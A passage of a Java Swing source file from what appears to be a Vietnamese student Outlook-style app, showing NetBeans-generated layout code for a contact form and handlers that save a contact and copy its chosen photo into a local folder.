Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
}
}
});
}
/** Creates new form JFrame_Contact */
public JFrame_Contact() throws IOException, SQLException {
initComponents();
initMyComponents();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
buttonGroup1 = new javax.swing.ButtonGroup();
jToolBar1 = new javax.swing.JToolBar();
jButton_New = new javax.swing.JButton();
jPanel1 = new javax.swing.JPanel();
jScrollPane1 = new javax.swing.JScrollPane();
jPanel2 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jTextField_Fullname = new javax.swing.JTextField();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
jTextField_NickName = new javax.swing.JTextField();
jTextField_PhoneNumber = new javax.swing.JTextField();
jTextField_Address = new javax.swing.JTextField();
jTextField_Company = new javax.swing.JTextField();
jTextField_Email = new javax.swing.JTextField();
jPanel_Image = new javax.swing.JPanel();
jLabel_Image = new javax.swing.JLabel();
jButton1 = new javax.swing.JButton();
jButton_TimAnh = new javax.swing.JButton();
jButton_Luu = new javax.swing.JButton();
jPanel3 = new javax.swing.JPanel();
jRadioButton1 = new javax.swing.JRadioButton();
jRadioButton2 = new javax.swing.JRadioButton();
jRadioButton5 = new javax.swing.JRadioButton();
jPanel4 = new javax.swing.JPanel();
jButton_GoiMail = new javax.swing.JButton();
jButton_Xoa = new javax.swing.JButton();
jButton_Xoa3 = new javax.swing.JButton();
menuBar = new javax.swing.JMenuBar();
javax.swing.JMenu fileMenu = new javax.swing.JMenu();
jMenu_New = new javax.swing.JMenu();
jMenuItem_Mail = new javax.swing.JMenuItem();
jMenuItem_Contact = new javax.swing.JMenuItem();
jMenuItem_Task = new javax.swing.JMenuItem();
jMenuItem_Folder = new javax.swing.JMenuItem();
jSeparator1 = new javax.swing.JSeparator();
jMenuItem_Save = new javax.swing.JMenuItem();
jMenuItem_SaveAs = new javax.swing.JMenuItem();
jMenuItem2 = new javax.swing.JMenuItem();
jSeparator5 = new javax.swing.JSeparator();
jMenuItem_delete = new javax.swing.JMenuItem();
jMenuItem3 = new javax.swing.JMenuItem();
jSeparator2 = new javax.swing.JSeparator();
javax.swing.JMenuItem jMenuItem_Close = new javax.swing.JMenuItem();
jMenu_Edit = new javax.swing.JMenu();
jMenuItem_Cut = new javax.swing.JMenuItem();
jMenuItem_Copy = new javax.swing.JMenuItem();
jMenuItem_Paste = new javax.swing.JMenuItem();
jSeparator3 = new javax.swing.JSeparator();
jMenuItem_SelectAll = new javax.swing.JMenuItem();
jSeparator4 = new javax.swing.JSeparator();
jMenuItem1 = new javax.swing.JMenuItem();
jMenu_Tools = new javax.swing.JMenu();
jMenuItem_Find = new javax.swing.JMenuItem();
javax.swing.JMenu helpMenu = new javax.swing.JMenu();
javax.swing.JMenuItem aboutMenuItem = new javax.swing.JMenuItem();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setName("Form"); // NOI18N
jToolBar1.setRollover(true);
jToolBar1.setName("jToolBar1"); // NOI18N
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JFrame_Contact.class);
jButton_New.setText(resourceMap.getString("jButton_New.text")); // NOI18N
jButton_New.setFocusable(false);
jButton_New.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_New.setName("jButton_New"); // NOI18N
jButton_New.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jToolBar1.add(jButton_New);
jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel1.border.title"))); // NOI18N
jPanel1.setName("jPanel1"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 868, Short.MAX_VALUE)
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 392, Short.MAX_VALUE)
);
jPanel2.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel2.border.title"))); // NOI18N
jPanel2.setName("jPanel2"); // NOI18N
jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
jLabel1.setName("jLabel1"); // NOI18N
jTextField_Fullname.setText(resourceMap.getString("jTextField_Fullname.text")); // NOI18N
jTextField_Fullname.setName("jTextField_Fullname"); // NOI18N
jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N
jLabel2.setName("jLabel2"); // NOI18N
jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N
jLabel3.setName("jLabel3"); // NOI18N
jLabel4.setText(resourceMap.getString("jLabel4.text")); // NOI18N
jLabel4.setName("jLabel4"); // NOI18N
jLabel5.setText(resourceMap.getString("jLabel5.text")); // NOI18N
jLabel5.setName("jLabel5"); // NOI18N
jLabel6.setText(resourceMap.getString("jLabel6.text")); // NOI18N
jLabel6.setName("jLabel6"); // NOI18N
jTextField_NickName.setText(resourceMap.getString("jTextField_NickName.text")); // NOI18N
jTextField_NickName.setName("jTextField_NickName"); // NOI18N
jTextField_PhoneNumber.setText(resourceMap.getString("jTextField_PhoneNumber.text")); // NOI18N
jTextField_PhoneNumber.setName("jTextField_PhoneNumber"); // NOI18N
jTextField_Address.setText(resourceMap.getString("jTextField_Address.text")); // NOI18N
jTextField_Address.setName("jTextField_Address"); // NOI18N
jTextField_Company.setText(resourceMap.getString("jTextField_Company.text")); // NOI18N
jTextField_Company.setName("jTextField_Company"); // NOI18N
jTextField_Email.setText(resourceMap.getString("jTextField_Email.text")); // NOI18N
jTextField_Email.setName("jTextField_Email"); // NOI18N
jPanel_Image.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jPanel_Image.setName("jPanel_Image"); // NOI18N
jLabel_Image.setText(resourceMap.getString("jLabel_Image.text")); // NOI18N
jLabel_Image.setName("jLabel_Image"); // NOI18N
javax.swing.GroupLayout jPanel_ImageLayout = new javax.swing.GroupLayout(jPanel_Image);
jPanel_Image.setLayout(jPanel_ImageLayout);
jPanel_ImageLayout.setHorizontalGroup(
jPanel_ImageLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel_Image, javax.swing.GroupLayout.PREFERRED_SIZE, 96, javax.swing.GroupLayout.PREFERRED_SIZE)
);
jPanel_ImageLayout.setVerticalGroup(
jPanel_ImageLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel_Image, javax.swing.GroupLayout.PREFERRED_SIZE, 96, javax.swing.GroupLayout.PREFERRED_SIZE)
);
jButton1.setText(resourceMap.getString("jButton1.text")); // NOI18N
jButton1.setName("jButton1"); // NOI18N
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton_TimAnh.setText(resourceMap.getString("jButton_TimAnh.text")); // NOI18N
jButton_TimAnh.setName("jButton_TimAnh"); // NOI18N
jButton_TimAnh.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_TimAnhActionPerformed(evt);
}
});
jButton_Luu.setText(resourceMap.getString("jButton_Luu.text")); // NOI18N
jButton_Luu.setName("jButton_Luu"); // NOI18N
jButton_Luu.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_LuuActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
jPanel2.setLayout(jPanel2Layout);
jPanel2Layout.setHorizontalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jButton1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jButton_Luu, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jButton_TimAnh, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 37, Short.MAX_VALUE)
.addComponent(jPanel_Image, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel1)
.addComponent(jLabel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel5))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(jTextField_Company)
.addComponent(jTextField_PhoneNumber)
.addComponent(jTextField_Fullname, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.PREFERRED_SIZE, 98, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(jLabel4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGap(7, 7, 7))
.addGroup(jPanel2Layout.createSequentialGroup()
.addComponent(jLabel6)
.addGap(29, 29, 29)))
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jTextField_Address, javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jTextField_Email, javax.swing.GroupLayout.DEFAULT_SIZE, 199, Short.MAX_VALUE))
.addComponent(jTextField_NickName, javax.swing.GroupLayout.Alignment.TRAILING))
.addContainerGap())
);
jPanel2Layout.setVerticalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_NickName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel2))
.addGap(20, 20, 20)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_Address, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel4))
.addGap(18, 18, 18)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_Email, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel6)))
.addGroup(jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_Fullname, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1))
.addGap(20, 20, 20)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_PhoneNumber, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel3))
.addGap(18, 18, 18)
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jTextField_Company, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel5)))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
.addComponent(jButton_TimAnh)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 23, Short.MAX_VALUE)
.addComponent(jButton_Luu)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton1))
.addComponent(jPanel_Image, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
);
jPanel3.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel3.border.title"))); // NOI18N
jPanel3.setName("jPanel3"); // NOI18N
buttonGroup1.add(jRadioButton1);
jRadioButton1.setSelected(true);
jRadioButton1.setText(resourceMap.getString("jRadioButton1.text")); // NOI18N
jRadioButton1.setName("jRadioButton1"); // NOI18N
jRadioButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jRadioButton1ActionPerformed(evt);
}
});
buttonGroup1.add(jRadioButton2);
jRadioButton2.setText(resourceMap.getString("jRadioButton2.text")); // NOI18N
jRadioButton2.setName("jRadioButton2"); // NOI18N
jRadioButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jRadioButton2ActionPerformed(evt);
}
});
buttonGroup1.add(jRadioButton5);
jRadioButton5.setText(resourceMap.getString("jRadioButton5.text")); // NOI18N
jRadioButton5.setName("jRadioButton5"); // NOI18N
jRadioButton5.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jRadioButton5ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
jPanel3.setLayout(jPanel3Layout);
jPanel3Layout.setHorizontalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel3Layout.createSequentialGroup()
.addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jRadioButton1)
.addGroup(jPanel3Layout.createSequentialGroup()
.addComponent(jRadioButton2)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jRadioButton5)))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel3Layout.setVerticalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel3Layout.createSequentialGroup()
.addComponent(jRadioButton1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jRadioButton2)
.addComponent(jRadioButton5)))
);
jPanel4.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel4.border.title"))); // NOI18N
jPanel4.setName("jPanel4"); // NOI18N
jButton_GoiMail.setText(resourceMap.getString("jButton_GoiMail.text")); // NOI18N
jButton_GoiMail.setName("jButton_GoiMail"); // NOI18N
jButton_GoiMail.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_GoiMailActionPerformed(evt);
}
});
jButton_Xoa.setText(resourceMap.getString("jButton_Xoa.text")); // NOI18N
jButton_Xoa.setName("jButton_Xoa"); // NOI18N
jButton_Xoa.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_XoaActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
jPanel4.setLayout(jPanel4Layout);
jPanel4Layout.setHorizontalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel4Layout.createSequentialGroup()
.addComponent(jButton_GoiMail, javax.swing.GroupLayout.DEFAULT_SIZE, 145, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton_Xoa))
);
jPanel4Layout.setVerticalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton_GoiMail)
.addComponent(jButton_Xoa))
);
jButton_Xoa3.setText(resourceMap.getString("jButton_Xoa3.text")); // NOI18N
jButton_Xoa3.setName("jButton_Xoa3"); // NOI18N
jButton_Xoa3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_Xoa3ActionPerformed(evt);
}
});
menuBar.setName("menuBar"); // NOI18N
fileMenu.setText(resourceMap.getString("fileMenu.text")); // NOI18N
fileMenu.setName("fileMenu"); // NOI18N
jMenu_New.setText(resourceMap.getString("jMenu_New.text")); // NOI18N
jMenu_New.setName("jMenu_New"); // NOI18N
jMenuItem_Mail.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_N, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Mail.setText(resourceMap.getString("jMenuItem_Mail.text")); // NOI18N
jMenuItem_Mail.setName("jMenuItem_Mail"); // NOI18N
jMenu_New.add(jMenuItem_Mail);
jMenuItem_Contact.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Contact.setText(resourceMap.getString("jMenuItem_Contact.text")); // NOI18N
jMenuItem_Contact.setName("jMenuItem_Contact"); // NOI18N
jMenu_New.add(jMenuItem_Contact);
jMenuItem_Task.setText(resourceMap.getString("jMenuItem_Task.text")); // NOI18N
jMenuItem_Task.setName("jMenuItem_Task"); // NOI18N
jMenu_New.add(jMenuItem_Task);
jMenuItem_Folder.setText(resourceMap.getString("jMenuItem_Folder.text")); // NOI18N
jMenuItem_Folder.setName("jMenuItem_Folder"); // NOI18N
jMenu_New.add(jMenuItem_Folder);
fileMenu.add(jMenu_New);
jSeparator1.setName("jSeparator1"); // NOI18N
fileMenu.add(jSeparator1);
jMenuItem_Save.setText(resourceMap.getString("jMenuItem_Save.text")); // NOI18N
jMenuItem_Save.setName("jMenuItem_Save"); // NOI18N
fileMenu.add(jMenuItem_Save);
jMenuItem_SaveAs.setText(resourceMap.getString("jMenuItem_SaveAs.text")); // NOI18N
jMenuItem_SaveAs.setName("jMenuItem_SaveAs"); // NOI18N
fileMenu.add(jMenuItem_SaveAs);
jMenuItem2.setText(resourceMap.getString("jMenuItem2.text")); // NOI18N
jMenuItem2.setName("jMenuItem2"); // NOI18N
fileMenu.add(jMenuItem2);
jSeparator5.setName("jSeparator5"); // NOI18N
fileMenu.add(jSeparator5);
jMenuItem_delete.setText(resourceMap.getString("jMenuItem_delete.text")); // NOI18N
jMenuItem_delete.setName("jMenuItem_delete"); // NOI18N
fileMenu.add(jMenuItem_delete);
jMenuItem3.setText(resourceMap.getString("jMenuItem3.text")); // NOI18N
jMenuItem3.setName("jMenuItem3"); // NOI18N
fileMenu.add(jMenuItem3);
jSeparator2.setName("jSeparator2"); // NOI18N
fileMenu.add(jSeparator2);
javax.swing.ActionMap actionMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getActionMap(JFrame_Contact.class, this);
jMenuItem_Close.setAction(actionMap.get("quit")); // NOI18N
jMenuItem_Close.setText(resourceMap.getString("jMenuItem_Close.text")); // NOI18N
jMenuItem_Close.setName("jMenuItem_Close"); // NOI18N
fileMenu.add(jMenuItem_Close);
menuBar.add(fileMenu);
jMenu_Edit.setText(resourceMap.getString("jMenu_Edit.text")); // NOI18N
jMenu_Edit.setName("jMenu_Edit"); // NOI18N
jMenuItem_Cut.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_X, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Cut.setText(resourceMap.getString("jMenuItem_Cut.text")); // NOI18N
jMenuItem_Cut.setName("jMenuItem_Cut"); // NOI18N
jMenu_Edit.add(jMenuItem_Cut);
jMenuItem_Copy.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Copy.setText(resourceMap.getString("jMenuItem_Copy.text")); // NOI18N
jMenuItem_Copy.setName("jMenuItem_Copy"); // NOI18N
jMenu_Edit.add(jMenuItem_Copy);
jMenuItem_Paste.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_V, java.awt.event.InputEvent.CTRL_MASK));
jMenuItem_Paste.setText(resourceMap.getString("jMenuItem_Paste.text")); // NOI18N
jMenuItem_Paste.setName("jMenuItem_Paste"); // NOI18N
jMenu_Edit.add(jMenuItem_Paste);
jSeparator3.setName("jSeparator3"); // NOI18N
jMenu_Edit.add(jSeparator3);
jMenuItem_SelectAll.setText(resourceMap.getString("jMenuItem_SelectAll.text")); // NOI18N
jMenuItem_SelectAll.setName("jMenuItem_SelectAll"); // NOI18N
jMenu_Edit.add(jMenuItem_SelectAll);
jSeparator4.setName("jSeparator4"); // NOI18N
jMenu_Edit.add(jSeparator4);
jMenuItem1.setText(resourceMap.getString("jMenuItem1.text")); // NOI18N
jMenuItem1.setName("jMenuItem1"); // NOI18N
jMenu_Edit.add(jMenuItem1);
menuBar.add(jMenu_Edit);
jMenu_Tools.setText(resourceMap.getString("jMenu_Tools.text")); // NOI18N
jMenu_Tools.setName("jMenu_Tools"); // NOI18N
jMenuItem_Find.setText(resourceMap.getString("jMenuItem_Find.text")); // NOI18N
jMenuItem_Find.setName("jMenuItem_Find"); // NOI18N
jMenu_Tools.add(jMenuItem_Find);
menuBar.add(jMenu_Tools);
helpMenu.setText(resourceMap.getString("helpMenu.text")); // NOI18N
helpMenu.setName("helpMenu"); // NOI18N
aboutMenuItem.setAction(actionMap.get("showAboutBox")); // NOI18N
aboutMenuItem.setName("aboutMenuItem"); // NOI18N
helpMenu.add(aboutMenuItem);
menuBar.add(helpMenu);
setJMenuBar(menuBar);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jToolBar1, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 894, Short.MAX_VALUE)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jPanel3, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addContainerGap()
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
.addGap(749, 749, 749)
.addComponent(jButton_Xoa3, javax.swing.GroupLayout.DEFAULT_SIZE, 145, Short.MAX_VALUE)))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jToolBar1, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jPanel3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jButton_Xoa3)
.addContainerGap(16, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed
try {
// TODO add your handling code here:
MyContactDTO contactDTO = taoDTOTuInputNguoiDung();
if (jLabel_Image.getToolTipText() != null){
String reDir = "\\ContactItems\\" + new Date().getTime() + ".mim";
File dir = new File(DoAnLyThuyet_JavaOutLookApp.getCurdir() + "\\ContactItems\\");
if (!(dir.exists())){
dir.mkdirs();
}
copyfile (jLabel_Image.getToolTipText(), DoAnLyThuyet_JavaOutLookApp.getCurdir() + reDir);
contactDTO.setM_Hinh(reDir);
}
int newId = new MyContactBUS().themContact(contactDTO);
if (newId != -1){
JOptionPane.showMessageDialog(null, "Thêm thành công contactID: " + newId);
conClass_Table.refreshBang();
}
} catch (IOException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_jButton1ActionPerformed
/**
* load anh len khunh hinh tren frame
* @param filePath duong dan tuong doi file anh
*/
private void loadAnhLenFrame(String filePath){
if (new File(filePath).exists()){
ImageIcon icon = new ImageIcon(filePath);
icon.setImage(icon.getImage().getScaledInstance(jLabel_Image.getWidth(), jLabel_Image.getHeight(), Image.SCALE_SMOOTH));
jLabel_Image.setToolTipText(filePath);
jLabel_Image.setIcon(icon);
}
else {
jLabel_Image.setToolTipText(null);
jLabel_Image.setIcon(null);
}
}
private void jButton_TimAnhActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_TimAnhActionPerformed
try {
// TODO add your handling code here:
File file = moDialogChonAnh();
if (file != null) {
loadAnhLenFrame(file.getCanonicalPath());
}
} catch (IOException ex) {
Logger.getLogger(JFrame_Contact.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_jButton_TimAnhActionPerformed
public static void copyfile(String srFile, String dtFile) throws FileNotFoundException, IOException{
try{
File f1 = new File(srFile);
File f2 = new File(dtFile);
InputStream in = new FileInputStream(f1);
//For Append the file.
// OutputStream out = new FileOutputStream(f2,true);
//For Overwrite the file.
OutputStream out = new FileOutputStream(f2);
byte[] buf = new byte[1024];
int len;
while ((len = in.read(buf)) > 0){
out.write(buf, 0, len);
}
in.close();
out.close();
}
catch(FileNotFoundException ex){
System.out.println(ex.getMessage() + " in the specified directory.");
System.exit(0);
}
catch(IOException e){
System.out.println(e.getMessage());
}
}
/**
* mo dialog cho phep chon anh
* @return file duoc chon
*/
public File moDialogChonAnh()
{
